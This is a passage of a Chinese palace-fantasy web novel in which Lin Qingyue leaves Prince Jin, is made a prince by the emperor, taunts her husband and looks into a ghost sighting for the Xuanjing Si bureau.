“可你若回到长宁侯府,你爹娘若知道你和本王闹和离,他们又会怎么对你?你父亲那般势利的人,你若没了利用价值,他还会认你这个女儿?长宁侯府还会有你的容身之处。”
“你口口声声要和本王和离,可古往今来,和离的女子哪个不被娘家嫌弃?以你的性子,怎受得了寄人篱下的日子?”
他说得苦口婆心,仿佛句句都在为她着想,实则字字都在诉说:离开晋王府,你便再无容身之所!
林倾月冷笑:“所以这就是你拿捏我的办法?你以为我没有容身之所,所以必须要回去晋王府,依靠着你才能过活?”
东方宴道:“本王不是要拿捏你,本王只是和你分析利弊。你再如何厉害,到底是个女儿身!”
“即便你在玄镜司有一席之地,即便你护驾有功,可你终究是女人!女人总要仰仗夫君才能体面。别看太子如今青睐你,真成了和离弃妇,闲言碎语能淹了你。太子难道能堵住悠悠众口?”
“林倾月不屑地嗤笑:“废话真多,你觉得我会在乎?东方宴,你太高看自己了!我林倾月立足于世,从不靠任何人。”
话音未落,她指尖弹出一缕灵力,正打在东方宴手腕上。他只觉手一麻,下意识松开了缰绳。
“驾!”林倾月轻咤一声,策马离去。
赵安连忙上前,小心翼翼问:“王爷,要派人追吗?”
追自然要追,却不能再死缠烂打,得用些高明手段让她自己回来。
第128章 新家
东方宴眸色沉了沉,吩咐道:“赵安,派人去给长宁侯传话,说王妃身份贵重,不宜在外过夜。”
林霄是什么货色,他再清楚不过。先前林如珍嫁过来,林霄以为两个女儿都攥住了自己的心,竟厚颜无耻地来求官。
他看在林倾月的面子上,动用关系把林霄安插在户部肥缺上,那老东西当时高兴得差点给他下跪。
这次,不愁林霄不替自己“劝”回王妃。
也许林倾月不会给林霄面子,可只要林家没有她的容身之所,她就只能乖乖地回王府。
只要林倾月回到王府,东方宴会让她看到林如珍的凄惨下场,那是自己为她献上的诚意。
就算她心里还有什么不痛快的,他也会在往后的时光里,慢慢去弥补。
那毕竟是曾经深爱过自己的女子,他就不信,无法挽回她的心!
刚回到晋王府,派去传话的人也回来了。
“王爷,王妃并未回到长宁侯府。”
“没回去?”东方宴把茶盏重重地搁在桌上,“是不是王妃还未到家?可有把本王的话带到?”
“回禀王爷,话已带到。林侯爷说,他们会在家等着,一旦王妃回家便亲自送归。”
东方宴挥退了下人,端起茶慢悠悠地抿着,静静地等待林倾月被送回来。
虽然林倾月是侯府嫡女,可当初出嫁的时候,林霄并没有给多少陪嫁。
未出阁之前,林倾月的名声又不好,满京城的名媛贵妇,没有一个和她有交情的。就算借宿,也没地方可去。
京城所有的客栈,东方宴也派人去打过招呼了。没人敢收留进王妃。
她唯一可去的地方,也只有一个玄镜司。
可玄镜司里都是一帮泥腿子出身的乌合之众,且都是男人,更不可能收留她。
等她碰一圈壁后,发现无处可去,自然就会回王府了。
想到这里,东方宴都觉得林倾月实在太过执拗了。明明刚才可以跟自己一起,风风光光地回来。非要跟他赌气,不是笨是什么?
朱雀大街,澜园。
大门前,一众奴仆排队恭候。管家还拿着画像看了好几遍,将新主人的模样刻在心里。
所以,当年林倾月一出现,他立马就认了出来,恭敬地迎上前来:“奴才全福,恭迎主人归家!”
其他的下人们,也都齐齐拜见:“恭迎主人归家!”
林倾月跳下马,又顺手将马鞭丢给全福,问道:“你们都是太子的人吗?”
全福道:“以前是。但从今往后,我等只有您一位主人。”
林倾月笑了:“是个伶俐的人。走吧,带我看看我的新家。”
她要东方宴和离,原本就准备要给自己置一个家。东方起提前给了,那她就却之不恭了。反正她受之无愧。
新家比她预期的更好。
听全福说,这座院子本是先皇后的陪嫁。但不论是皇后还是太子,平常都住在宫里,很少会过来。
偶尔太子怀念先皇后的时候,才会过来小住几日。
所以,园子里的一切保持得很好,不需要翻新就能直接入住。
主院早就打扫干净,被褥、床幔都更换一新。
全福还将园子里的古董、字画等名物件都造了册子一并给林倾月过目:“殿下说了,这园子里的一切都归属新主人。包括所有的古董、金银器具,您可以随便处置。”
林倾月看了一眼,把册子丢还给全福:“之前是你在管,以后也照旧。我这里没有别的要求,唯独忠心一条。”
“是!我等今后自会为您效忠。”
全福这些人都是太子的亲信,自然也懂得规矩,不需要过多操心。
林倾月寻思着回头再把碧儿叫回来,用着更妥帖。
皇宫。
齐昭帝早就收到太子即将回城的消息,一直望眼欲穿地等着。
待看到东方起安全归来,老父亲的眼泪都忍不住涌了出来:“吾儿终于归来了!不必行礼,不必行礼!魂魄可都补全了?可有什么地方不舒服?”
他抓着东方起一通盘问打量,确定安然无恙,才松了口气:“我儿此番逢凶化吉,以后定能洪福齐天!”
而东方起则将这一路的经过,以及一线峡被伏击,晋王半道出现还送上厉王主使伏杀事件的证据等,全都说了一遍。
齐昭帝看过证据后,道:“厉王胆敢谋害你,朕明日就下旨削了他的王位!至于这晋王……”
东方起道:“晋王会出现在那里,定然也是别有用心。不外乎,便是想坐收渔翁之利。”
齐昭帝沉吟道:“东方宴是你皇叔唯一的嫡亲血脉。只要他没有直接谋反,看在你皇叔的份上,朕都不会动他。”
东方起也知道他父皇和老晋王兄弟情深,爱屋及乌之下,对东方宴也无比宽容。
因此,东方起只道:“父亲顾念手足之情,自然无可厚非。只希望晋王,莫要叫您失望。”
齐昭帝的神色肃穆,沉吟片刻后道:“吾儿既归,那些藩王也就没有必要继续留在京城。朕过两日就会下令,让他们在三个月内,把京城的职务卸掉,回归封地。”
只要储君尚在,那些人的狼子野心就不足为惧。
齐昭帝又道:“此番你历难归来,林副使、谢守正、骆国公都有功劳。你准备如何奖赏?”
东方起道:“舅舅是北原节度使,节制一方,不好再动。就让骆青留任京城。”
齐昭帝点头:“也好。”
东方起又道:“谢守正嘛,多赏他些金银钱财吧。”
小灰对朝中的权势并不贪恋,性格又单纯直率,所以太子还是希望他继续在玄镜司发光发热,不必卷入政治的漩涡中。
除此之外,最重要的一点是,齐国上下对妖邪之流十分恐惧和排斥。让小灰远离政治圈,也是为了保护他,免得身份暴露被有心人算计。
“至于林副使……”提到林倾月,东方起语气都变得格外谨慎起来,“她和晋王之间恐怕有些问题。”
东方起知道林倾月和东方宴之间根本不是良缘。可他们奉旨成婚,除非齐昭帝亲自开口,否则随便和离就是欺君之罪。
所以,解铃还须系铃人。
第129章 赐封
东方起本意,是想找齐昭帝要一道和离的圣旨。
却听齐昭帝道:“林副使在离开京城送你去赤影地之前,已经向朕要了一个好处。”
“是什么?”东方起迫不及待地问。
莫非,她想要的也是和离的圣旨?
齐昭帝道:“她要朕封她为公主。正好,你帮朕想想应该给她拟一个什么样的封号?”
东方起吃了一惊:“她想要公主的位置?可公主,只有父皇的女儿才行。难道她是想让父皇你认她为义女?”
那岂不就成了他的妹妹了?
虽然他们一路上都以兄妹相称,可东方起并不想做林倾月的哥哥。
齐昭帝摇头轻笑:“本来朕也这样想,朕还和她说,你已经是王妃,地位不在公主之下。再封个公主,未免有些画蛇添足。”
“可她说,她不做朕的义女,要做朕的义妹。”
东方起:“……”
所以,妹妹要变姑姑?这也属实无法接受啊!
齐昭帝狐疑地看向太子:“起儿,你的脸色怎么怪怪的。”
“儿臣只是有点诧异。”东方起清咳了一声,“父皇,此事不妥。”
齐昭帝问:“如何不妥?”
东方起脑子一转,很快就找到说辞:
“她是晋王妃,也是您的侄媳。若是您再突然认她为义妹,那她就变成了东方宴的姑姑。姑姑嫁侄儿,有违纲常。”
齐昭帝摆了摆手:“先成婚,后封公主,便不影响。朕猜测林副使的心思,不过就是想要压过东方宴一头。她成婚以来,在东方宴那边受了不少气,想要争口气也可以理解。小妇人的心思嘛!”
东方起却清楚,林倾月绝对不是那种单纯的小妇人心思。
在齐国,女子地位最高的便是公主。有了公主的身份,就能拥有自己的封地、俸禄、府邸。不需要再仰仗任何人。
哪怕是御赐的婚姻,以公主的身份,也更容易和离。
可这么一来,东方起和林倾月也成了姑侄俩。
他无法想象,自己以后看到林倾月都要喊姑姑的场景。
齐昭帝不知道儿子的那些小心思,已经命人送上了笔墨纸砚,准备亲自为林倾月书写封号。
“父皇,儿臣来代劳。”东方起一把抢过齐昭帝手上的御笔,略略思忖后,写下了龙飞凤舞的四个字。
齐昭帝过来一看,顿时吃惊:“这,简直就是胡闹!古往今来,就没开过这样的先例!”
东方起却道:“巾帼不让须眉,父皇又何必拘泥于俗套?”
说罢,他郑重地跪下:“若非林副使,儿臣如今已经魂归黄泉。这一路之上,历经了重重危险,说是九死一生也不为过。除了真心感激之外,儿臣认为只有这样才能彰显皇恩浩荡,让林副使这样的人才衷心于父皇。所以这小小的一个空头称谓,真的不算什么。”
齐昭帝沉吟再三,最终亲自盖上了御章。
晋王府。
东方宴还在王府等着林倾月被逼得走投无路,狼狈回府。
可等到夜阑人静,也没能等来人。
“赵安,去大门口看看王妃可回来了。”
赵安已经困得快要站不住了,只能勉强打起精神,陪在东方宴的身侧。
“王爷,门口有人守着,若是王妃回来了,会第一时间来报告。”
话音刚落,一个小厮就匆匆忙忙,跑进来禀报:“王爷……”
东方宴腾的一下站起来:“可是王妃回来了?”
娘家回不去,客栈也不会收留她,她走投无路只能回到晋王府!
小厮悻悻地开口:“王妃没,没回来。”
“那你来禀报什么?”东方宴的心顿时又落了下去,只是面上还强作镇定地端茶喝。
小厮道:“派去寻找王妃的人回来说,京城大大小小的客栈全部找过,都没有王妃的踪迹。此外,长宁侯府刚刚也派人来说,王妃至今没有回家。”
“砰”手上的茶盏忽然被捏碎,东方宴心头的火气再也难以压抑。
到处都找不到,难道人消失了?
找不到林倾月,东方宴一晚上都没能睡好。
第二天大清早,还要顶着一脸的晦气早朝。
今日的早朝和以往不同。
以往,晋王站在群臣之首,乃是一人之下万人之上。
可今日,太子取代了他,站在一人之下万人之上的位置。
他心里是说不出的遗憾:真的就差一步啊!
朝堂之上,齐昭帝简单地交代了下太子的情况,大意就是太子身患奇毒,所以一直昏睡。
恰好乡野长大的晋王妃一眼认出了此毒的来源,于是亲自护送太子,奔赴千里之外找到解药。
至于为什么要带着太子走,那是因为解药材料不能久存,不然会失效。反正就是要东方起亲自到场!
怪力乱神的事情,虽然有不少人见过,但大家都含而不露,免得造成人心惶惶。
当然,过程如何也并不重要。重要的是结果。
简单地讲述一遍过程后,东方起就将厉王差人伏击之事当朝揭露出来。
厉王本还要狡辩,可人证物证俱全,齐昭帝懒得听他多说,直接下旨将他贬为庶人,流放圈禁。
这一招也算是杀鸡儆猴。让其他蠢蠢欲动的藩王们知道,不属于自己的东西不可觊觎。
“此番,太子能够安全归京,晋王妃林倾月功不可没。传——晋王妃。”
东方宴闻声立刻望向殿门,不多时便见林倾月身着玄镜司官袍,阔步走入议政殿。
按规矩她该穿王妃翟衣,方能彰显庄重高贵,可她偏选了低阶官服,分明是在打他的脸。
东方宴眸色一沉,强压下心头不悦。
“林副使着这一身官服,真是英气逼人。”太子的声音不大,竟似有意说给东方宴听。
东方宴道:“多谢太子夸赞,可玄镜司的官服品级太低,不如王妃的翟衣奢华高贵。”
“不够高贵吗?”东方起微微一笑,“无妨,很快就能换上更高贵的了。”
第130章 爵位
东方宴还寻思着,太子莫非还想给林倾月升官?可玄镜司那种不入流的衙门,撑死也就是正五品,还能升到哪去?
其他的衙门,都是男人的天下,不可能破格让女人进入,否则满朝的文武百官都会跳出来反对。
这时,林倾月已经走到了大殿上,规规矩矩行礼口呼万岁。
齐昭帝笑着道:“免礼。”
林倾月便站直了身体,毫无畏惧地审视着朝堂上的百官,以及高坐在龙椅之上的帝王。
她的脑海里不由得就想起,前世的自己在王座上呼风唤雨时的情景。
最后,她还在心里默默点评:“那把龙椅的位置摆放得不够高,打造得也不够华美。嗯,小家子气。本座要不要来坐坐?有没有什么兵不血刃的办法,能够……”
“晋王妃。”齐昭帝的声音打断了她的胡思乱想。
殊不知,此刻高坐在龙椅上的帝王,也莫名其妙地感觉背后生出了一层寒意。
尤其是,当林倾月盯着他看的时候,总感觉那双眼睛,没有寻常女子的温婉柔善,却多了一分野心。
要不是林倾月是女儿身,又拼尽全力救了太子忠心可嘉,齐昭帝都要以为她有抢夺皇位的野心。
齐昭帝给旁边的大监使了个眼神,大监上前一步,捧出圣旨:“林倾月听旨!”
林倾月再度跪下,心里还在腹诽:地位低就是麻烦,动不动就要下跪。这皇帝老儿也不知道是不是故意的,刚才不知道宣旨,等我站起来了才宣,害得我又要跪一遍。
“奉天承运,皇帝诏曰:林氏倾月,蕙质兰心,义勇非凡。值太子危厄之际,挺身而出,舍身相救。其功可昭日月,其德堪表千秋。”
“为彰其勋,特赐封‘朝澜亲王’,赐金万两、宅邸一座,食邑五百户。钦此!”
此昭一出,众人皆惊。
东方宴都愣了:封亲王?简直乱来!皇伯伯是怎么想的?
其他的大臣也纷纷站出来说话:
“陛下,老臣听错了吗?是不是封公主、郡主一类更合适?”
“陛下,虽说晋王妃此番功劳甚大,可到底是个女人家,怎可为王?那不是牝鸡司晨,倒反天罡?”
“历史上虽有册封异姓王的先例,可从来没有女子王。陛下此举不妥,请陛下收回成命!”
就连东方宴也站出来反对:“陛下,林倾月乃是晋王妃,王妃身份已足够尊荣。若是再破例封王,属实不妥。为陛下分忧,为太子效忠,乃是分内之事,无需厚赐!”
最重要的是,林倾月无依无靠的时候都不把她不把他放在眼里,天天闹着要和离。若是封了王,还不知道要闹出怎样的风波。
只不过他话音刚落,就有一阵如芒在背的感觉。
林倾月狠狠地瞪了他一眼:狗东西,我的封赏与你有何关系?你凭什么代我推辞?
然而,林倾月也有点奇怪:不是说好公主吗?怎么改成亲王了?
她不由地朝东方起看去,用眼神询问:怎么回事?
东方起装作看不到,此刻正眼观鼻、鼻观心,仿佛朝堂上再多的分歧都和他无关。
他不说话,却有人替他开口。
一位年轻的臣子,慷慨激昂的陈词:“陛下,太子乃是国之栋梁,齐国的未来。朝澜亲王凭一己之力,救太子于危难之中。这救的岂止是一人一命,分明就是我们大齐的国运和未来啊!如此大的功劳,封一个异性王怎么了?”
朝澜亲王都称呼上了?不错不错,很懂事嘛!
还有三朝元老也站出来力挺:“朝澜亲王虽是女流之辈,可她所做之事,诸位血性男儿谁能办得到?再者,亲王位份再高说白了也只是荣誉而已。陛下的圣旨里有没有写世袭罔替,也没有直接赐予藩地。食邑五百户,比照的也是公主的待遇。诸位又何必斤斤计较?倒显得小家子气了。”
说着,他还撇了东方宴一眼:“晋王殿下,朝澜亲王不是您的王妃吗?您怎么胳膊肘往外拐,不但不以她为荣,还在那里拖后腿。这有点说不过去啊!”
东方宴:“……”
等到满朝大臣都争辩得差不多了,东方起才站出来道:“本宫的救命恩人虽为女子,却巾帼不让须眉。可做男儿不能做之事,配得上亲王封号!”
齐昭帝也帮着儿子撑腰:“圣旨已经下,此事无需再议!”
最终,满朝文武不管情不情愿,林倾月亲王的爵位算是正式落定。
虽然女子封王破了先例,但除了王这个称号之外,但其实本质和公主并无区别。
最为重要的是,没有世袭罔替,也就意味着女亲王只此一代,不会把爵位传给后代。也没有要入朝议政的意思,不会动摇男权社会的根本。
说白了,就是个荣誉头衔、空头之王。也就是地位高一点,和其他的王爷平起平坐而已。
而对东方起来说,最重要的事,异姓王不需要认亲就能封。
下了朝之后,有一大半的官员过来恭喜林倾月,口口声声地喊她“朝澜亲王”喊得那叫一个顺溜。
林倾月本来只想弄个公主当当,没想到下子混上王爷的位置了,超出预期当然开心。
唯独让她觉得晦气的,就是东方宴一直冷眼瞪着他。
看到东方宴走过来,其他的大臣也都识相地散开了。
东方宴冷声道:“你闹够了没?”
“闹?”林倾月觉得很可笑,耸了耸肩膀,无所谓地道,“你若这么觉得也无所谓。就当我是在闹吧,从王府弃妃,一不小心就闹成了朝澜亲王。嗯,本王很喜欢这个封号。”
提到“王府弃妃”,东方宴顿时又愧疚起来:“之前的事,是本王不好。你现在也当上了王爷,你要喜欢……喜欢就当吧。”
说得好像他的恩赐一样。
林倾月很不喜欢他说话的口气,冷着脸道:“好狗不挡路,滚开。”
东方宴道:“这里是朝堂外,还有不少文武官员瞧着,你怎可骂本王是狗?”
第131章 试探
骂又如何?林倾月送了他一个白眼,推开他就走。
东方宴像狗皮膏药一样跟在后面,“倾月,你要去哪里?还有昨晚,你一夜未归,本王满京城都没寻到你,你在谁家过得夜?身为王妃,你不打一声招呼就私出京城。好不容易回来,居然家门都不回跑去外头过夜。女子三从四德,你……”
林倾月喝了一声:“闭嘴!”
下一刻,东方宴的嘴里就说不出一句话来,只能发出“阿巴阿巴”的声音。
他恼怒地瞪着林倾月:“阿巴阿巴阿巴……”你对本王做了什么?
林倾月道:“你该庆幸我已改邪归正。”
否则用的就不是禁言咒,而是直接手起刀落,让他脑袋搬家了。
“那边有几个朝臣好像要过来和你说话。若是叫他们发现尊贵的晋王殿下变成了个哑巴,只会阿巴阿巴地说话,不知道会是什么反应?哈哈,感觉很有趣!”
林倾月说着作势要喊人。
东方宴可不想被手下官员看到自己这副丑态,又瞪了林倾月一眼后,快步离开。那叫一个狼狈。
碍事的人离开后,林倾月一回头,就看到东方起朝自己走来。
她便笑盈盈地走过去打招呼:“太子殿下,多谢你费心了。”
东方起故作疑惑地问:“谢从何来?”
林倾月道:“不必装了。亲王殊荣,想必是你的杰作。否则刚才在朝堂上,不会有那么多臣子为我说话。朝澜亲王……嗯,本王很喜欢这个封号。”
一朝起波澜,惊天动地!倒像是一不小心就要把这江山翻个个儿似的
东方起微微一笑:她果然喜欢这个封号,朝之晨光,澜之壮阔,文雅大气适合她。
“一个虚名而已,不算什么。为了堵住那些老臣子的嘴,暂时不能让你的爵位世袭罔替,希望你不要介怀。”
“那不重要。”林倾月浑不在意地道,“反正我也没生孩子的打算,有没有世袭罔替,对我来说都一样。”
她想要一个爵位封号,只因为心中清楚,在当前这个国度里,想要让自己获得更高的自由度,只有站在更高的位置上才有更高的话语权。
东方起沉吟片刻后,终是忍不住问道:“你和东方宴……准备怎么解决?我不是想干预你的私事,只是怕东方宴会为难你。”
林倾月道:“凭他还为难不到我。我要爵位加身,只是不想再受制于人。如今,我既然封了亲王,便有了上奏的权利。等下得空,我就写个和离的奏章递给你父皇。他赐的婚约,还是得他来解。”
顿了顿,林倾月忽然问东方起:“你父皇万一不准怎么办?”
旋即又笑:“没事,他不同意我就逼他同意!若是他一意孤行犟着不肯答应,那我就索性再升一级!”
东方起问:“再升一级?亲王已经是顶级的爵位了,你还想升到哪里?”
林倾月凑近了些许,用玩笑的语气道:“我若抢了你父皇的位置,你待如何?”
她呵气如兰,温热气息拂过东方起耳畔,缠上几缕暧昧的酥痒。
东方起脑中蓦地浮出梦境里的一幕——林倾月身着玄黑帝王冕服,轻柔地唤着自己:“阿灼。”
而他拥着她柔软腰肢,指尖逐寸剥开那袭庄重衣袍,直到月光漫过她肩头,映出底下如雪的肌肤……
我在想什么?
他猛然后退一步,和林倾月拉开了些许距离,眼神慌乱不敢再直视面前的佳人。
“你那话,不可再对旁人说起。哪怕玩笑都不行!”
说完,他步履慌张,匆匆忙忙地走了。
林倾月望着他慌张离去的背影,笑得没心没肺:你也该庆幸,本座如今已改邪归正。
看似玩笑,其实也是一种试探。
赤影之地,生死之交。可回到权利的高位上时,那些许的救命之恩又能维持多久?
特不知,多少帝王在没登上帝位之前都有几位生死之交。可登临高位之后,却又变了一副嘴脸。
走狗烹、狡兔死,从不鲜见。
她是当过帝王的人,深知权势对人心的腐蚀有多么严重。
未来的东方起会不会也如此?
不过从刚才的反应来看,他对林倾月还是极为维护的。哪怕她故意挑衅皇权,他也没有真的动怒。
可以后呢?若有一天,他登上帝位是否还能保持如今的赤子之心?
离开皇宫后,林倾月轻车简从到了玄镜司。
玄镜司的那帮乌合之众,刚刚得知林倾月封了王,都为她感到高兴。围着林倾月咋咋呼呼的说话:
“林副使这下发达了,听说赏了一万两金啊!我得干多少年才能赚得了一万金?”
“别掰手指头了,你这样的牛马干一辈子,都没那么多钱。”
“林副使,我好羡慕你啊!为什么我不能封王呢?我觉得我的功劳也很大呀!”
“大米你就不要凑热闹了。你还封王?封什么,鼠王吗?那你已经是了!”
“林副使,今晚你必须要请客!我们要上最好的馆子,吃最贵的菜!”
玄镜司的这帮人出生底层,没有那么多规矩。
就算林倾月如今封了王,对他们来说,也就是发财了而已,根本没有多大区别。所以称呼还是和以前一样,也不讲什么上下尊卑。
“行,今晚我请你们下最好的馆子,吃最贵的菜!”林倾月自己也不是个很讲规矩的人,自然也喜欢和他们这些人混迹在一起称兄道弟。
大米转而又盯上了谢守正:“谢大人,你怎么不吭声,别以为我们不知道你也得了不少赏钱。今晚林副使请客,明晚就轮到谢大人请吃!”
谢守正骂道:“一帮没见过世面的混账玩意,就知道吃吃!闹腾一会儿就行了,都滚去办差!大米,你留下来汇报最近玄镜司里的案子。”
他们离开的这几天,京城里自然也会有其他的案子发生。
大米就将最近一段时间发生的案子,一五一十地报告了一遍。
谢守正听罢了,忽然问道:“就这些,没有遗漏吗?”
大米摇头:“没有,全在这儿了。”
林倾月接过话头问:“红瑶呢?”
大米一脸茫然:“什么红药白药?好吃吗?”
谢守正一巴掌呼了过去:“你怎么就知道吃!红瑶是个名字,狐妖红瑶!她没来自首吗?”
大米挠了挠头:“最近京里没有听说有狐妖出没,更没有妖怪来自首。”
先前在东林府,苗东归案后,红瑶和他们约好会去京城玄镜司总部自首。为此,谢守正还特意手写了一封陈情信,让衙门里的兄弟关押她的时候能给予些许照顾。
没想到她居然爽约了。
第132章 为什么红瑶没有出现?
谢守正后悔得直拍大腿:“看来咱们是被那狡猾的狐妖给骗了!说什么帮她报仇了,就乖乖去自首。好嘛,一去不回了!早知如此,当初就该将她和苗东一起,用囚车押解回京。咱们信她,给她体面,她却如此不识抬举!不过没关系,她跑不了!我这就发个追捕令,全国缉拿!”
“等等!”林倾月拦住了他,“我觉得红瑶不会无故失约,暂时不要发追捕令。”
谢守正道:“林副使,都这个时候了,你怎么还信那狐妖?妖怪天生狡诈,不可尽信!”
见大米和林倾月都用古怪的眼神望来,谢守正才意识到自己失言,赶忙找补:“当然,玄镜司的妖怪不算!咱们都是有编制,为民为国的好妖怪!”
大米撇撇嘴,说:“大人您别找补了,您是压根就没把自己当成妖怪。若非咱们都是一个衙门的同类,我都要怀疑你是不是有种族歧视!”
谢守正瞪了大米一眼,“滚你娘的!老子要有种族歧视,还能把你从臭水沟里捞上岸?”
他转而又问林倾月:“为什么不发追捕令?”
林倾月道:“我总觉得红瑶不是那种言而无信的妖。你想,她在东林府一案上是立了功的,又持有你给的陈情信,到玄镜司后不会定太重的罪名,最多关个三五年就能恢复自由身了。”
“可她半路逃跑,将会被全国缉拿,罪加一等。以玄镜司在全国的影响力,她未必能逃得脱。如果是你,你会做这种蠢事吗?”
谢守正摇头:“自然不会。”
林倾月说:“红瑶的脑子可比你聪明,更不可能做这种蠢事。”
谢守正闻言深以为然:“那为什么红瑶没有出现?难道……她遇到了什么事,走不脱?”
林倾月点点头,吩咐大米:“你不是鼠王吗?叫你的兄弟帮着找人,悄悄地找。”
“是!”
大米应了一声后,正要下去办事,林倾月喊道:“等等!东林府的案子,现在是个什么情况?”
大米道:“还在审。大理寺的牢房清理得太干净了,一只老鼠都进不去,我也没法得到什么情报,只知道李国公自从被圣上训斥之后,一直称病在家。”
这种机密的事情,大米掌握得不多。林倾月寻思着回头找东方起问问看。
就这时,又有司卫过来报:“谢大人、林副使,七街坊一户人家自称最近每日都能看到过世的爷爷在家里转悠,找了和尚超度也没能解决,刚来报案请咱们去化解。”
此刻衙门里能渡魂的人都出去公干了,只有林倾月和谢守正两人。
谢守正刚要站起来,林倾月道:“谢大人你不是还要查看最近的案卷吗?我去走一趟吧。”
谢守正感觉有点不好意思:“林副使,您现在是亲王了,还要鞍前马后地跑案场,本官心里真是过意不去啊。”
嘴上说着“过意不去”,手上却已经把林倾月的官帽给递了过去,“那就辛苦了。”
林倾月斜了他一眼:“风凉话少说!”
而后,她戴上帽子转身往外走去。
谢守正在后面贱贱地喊着:“早去早回啊,晚上兄弟们还等您请客吃饭呐!”
京城的普通居民区被划分为二十四个街坊。
七坊街位于京城的最北面,居住的都是一些从事底层职业的人,比如卖卖艺的、杂耍的,戏子、妓女等等。
这些职业的人,也被称为下九流。因此,七坊街也叫“下九流坊”,有身份有地位的人,途经此地都要绕路而行,生怕沾染了晦气。
所以,当林倾月穿着一身玄镜司的官服,出现在七坊街,不少人都挤到门口看热闹。
事主叫孙大宝,此刻一边在旁边带路,一边给林倾月介绍情况:
“我爷是七日前死的,终年六十五岁。半年前摔了一跤,便一直卧床不起。再后来慢慢地就水米难入,人瘦得都不像样。”
孙大宝和母亲,就按照习俗给老人办理丧事。
可就在下葬后的第二天,孙大宝突然看到他爷又回来了。
老人有时坐在葡萄藤下发呆,有时又在屋里屋外到处溜达,那样子和生前一模一样。
要不是亲眼看到老人咽气、下葬,孙大宝都差点以为老爷子没死呢!
孙大宝当时就红了眼眶,和母亲说:“娘,我爷回来了。你看,他就坐在那儿!”
可他母亲看不见。
其他的人,也看不见。
只有孙大宝能看见。
孙大宝试图和老人说说话,问他为什么没走。
可对方没有任何回应,对于阳间的一切都似乎听不见、看不见。每天就是一个虚影一样在屋里屋外走来走去的,重复着生前的轨迹。
说到这里的时候,孙大宝叹了口气:“虽说我和爷爷感情一直不错。可他如今变了鬼,每天在我身边晃来晃去的,我也发怵啊。再者,我担心我爷是有什么心愿未了,才不肯走。”
正说着,前头的院门前有个半老徐娘挥着手绢冲林倾月抛眉眼:“官爷,要不要上奴家这儿来坐坐?”
林倾月一眼看出,她应该是职业娼妓,冷声道:“我也是女人。”
孙大宝对那娼妓道:“王姨,这位是玄镜司来我家办案的大人,你可别冒犯了!”
那王姨上上下下地打量了眼林倾月,更加好奇:“呵,这年头女子都能当官?真是开了眼了!大人贵姓呀?”
孙大宝没理她,推开自家的院门:“林大人,这就是我家。”
王姨立马接话:“你姓林?玄镜司有几位姓林的女大人?”
林倾月道:“玄镜司就我一位姓林。”
孙大宝不耐烦地道:“哎呀王姨你能不能别添乱?冒犯了大人,你担当得起吗——林大人快请进,家门简陋莫要嫌弃。”
林倾月还没进门,里面就传来嚷嚷声:“孙大宝,你又在闹腾什么?天天喊着见鬼见鬼,青天白日哪来的鬼魂闹事?前些天,还请了和尚来家念经,钱都白白花了,今又找了什么人来?”
孙大宝道:“娘你别乱嚷嚷!这是玄镜司的大人,不要钱!”
“不要钱?还有这好事?”一个中年妇女从灶房里出来,满腹狐疑地打量着林倾月,看她穿着一身官服,顿时不敢再吭声。
孙家一共三间正房,沿着正房搭了一个灶房,林倾月随便扫一眼,就把整个家都看全了。
可里里外外,并没有任何鬼魂存在的痕迹。
她退出到院子里,随意拉了条板凳坐着询问:“你现在还能看到你爷爷吗?在哪里?”
“他一直都在。”孙大宝说着,抬手指向林倾月身侧,“我爷就坐在大人您身边。哦,林大人你踩到我爷爷脚了。”
林倾月:“……”
第133章 殃气
板凳是长条形的,能坐下两人,林倾月坐在一侧,转头看向另一侧却是空空的。
“没有鬼魂,我没有看到。”林倾月如实地道。
孙母也忍不住开口:“对嘛,啥都没有!我就说这孩子癔症了,要不然怎么别人都瞧不见,偏他能看见?林大人,我们家真没事,您公务繁忙就不耽误了。请回吧!”
孙大宝说:“娘,事情还没个眉目,怎么能让林大人离开?再说,我爷爷万一走得不安心,或是有什么遗愿未了,咱们当家人总要帮帮他。”
“人死如灯灭,能有什么遗愿?你一天到晚就知道胡思乱想,人家玄镜司的人都说没有鬼魂,那就是没有。你别耽误林大人的时间!”
孙大宝道:“怎么可能没有呢?我真的看见我爷爷了,他穿着灰色的长衫,就是下葬时候穿的那身。现在,我爷爷又站起来了,他推开了柴房的门走进去了,他又走出来了,去了灶房了,好像在找吃的。”
他说得绘声绘色,可林倾月依然什么都看不见。
然而,以她眼力如果有鬼魂出没,她不可能看不到。
难道问题,出在孙大宝身上?
可看孙大宝的样子,并不像说谎。
林倾月抬眸重新打量起面前的少年。
孙大宝今年17岁,长得眉清目秀。他父亲早逝,自小和母亲、爷爷一起长大。
去世的爷爷叫孙有根,卖馄饨为生。为人老实,从不与人口角,总是笑呵呵的。
老人和家里人的关系也十分和谐,虽然儿子早逝,但是因为老爷子勤快,手艺又不错,所以家中日子尚可。
“你爷爷去世的时候,是你所在身边的吗?”林倾月问孙大宝。
孙大宝点点头:“我从小就没爹,是爷爷辛苦做营生将我养大。他摔伤后,便将馄饨摊子留给了我。而他自己每天躺在床上,状况一天不如一天。时间久了,背后都长了疮,真是遭了大罪了!”
“在他去世前几天开始水米难入,完全昏迷。我和我娘都知道他恐怕挺不过去了,所以那几天晚上我们都守在爷爷床边伺候着。”
“最后那一晚,是我在爷爷旁边……”
守到后半夜的时候,老爷子忽然睁开了眼睛,嘴唇颤抖着,好像想说什么话。
于是,孙大宝就凑过去说:“爷爷,你是有啥心愿没了吗?要是的话,你就告诉孙儿。”
老人的嗓子里发出“嗬嗬”的声音,含含糊糊,听不清说什么。
“爷爷你……”孙大宝还想再说什么话,可就在这时,老人临终前最后的一口浊气喷出,恰好喷到了孙子的脸上。
那是一种带着腐烂死亡的气息,一喷在脸上孙大宝就感觉很不舒服。
可是因为爷爷刚死,他只顾伤心,也没在意太多。
第二天的时候,他的身体就感觉很虚,走路都轻飘飘的。
他以为是这几天没睡好,所以没当回事儿,还在操持着爷爷的丧事。直到傍晚,突然晕倒。
然后一觉睡了两天才醒,差点没把他娘给吓死。
孙大宝醒来之后有两天时间精神萎靡,此后精神倒是慢慢好了,可是却每天都能看到去世的爷爷在家里晃荡。
“事情就是这样。”孙大宝道,“我一直在想,是不是我爷爷最后的心愿没有说出口,所以他走得不安,魂魄才又回来。”
林倾月摇头:“我说了,那不是他的魂魄,他的魂魄也没有回来。”
“那这是到底是怎么一回事?”孙大宝问。
“是殃气。”
“何为殃气?”问话的是孙母。
林倾月耐着性子解释:“殃气是人临终前吐出的最后一口气,带着死者的浊气。若是死亡之时,还有未了的心愿,那么殃气里还会混杂着晦气。”
